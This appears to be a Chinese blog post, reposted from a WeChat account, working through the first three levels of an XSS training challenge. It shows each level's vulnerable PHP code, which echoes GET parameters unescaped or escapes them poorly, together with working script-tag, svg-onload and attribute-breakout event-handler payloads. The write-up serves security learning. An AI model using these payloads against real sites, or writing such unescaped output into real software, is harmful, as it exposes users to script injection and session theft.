为什么我要受这么多的磨难与痛苦,因为老天爱我比别人多亿点啊!
一个资质平庸却努力上进的普通人,我希望,当我回首往事时,不因虚度年华而悔恨,也不因碌碌无为而羞愧,我可以对自己说:我,不负此生。
http://xxx.xxx.xxx/level1?name=test
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
<script>alert('xss')</script>
<svg/onload=alert('xss')>
<script>prompt('xss')</script>
<script>confirm('xss')</script>
http://xxx.xxx.xxx/level2?keyword=test
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level2.php method=GET>
<input name=keyword value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
<script>alert('xss')</script>
" onmouseover=alert(/xss/)>click
"><script>alert(/xss/)</script>
"><script>confirm(/xss/)</script>
"><script>prompt(/xss/)</script>
http://xxx.xxx.xxx/level3?keyword=wait
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level3.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
' onclick=alert(/xss/)//
原文始发于微信公众号(进德修业行道):xss挑战之旅
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论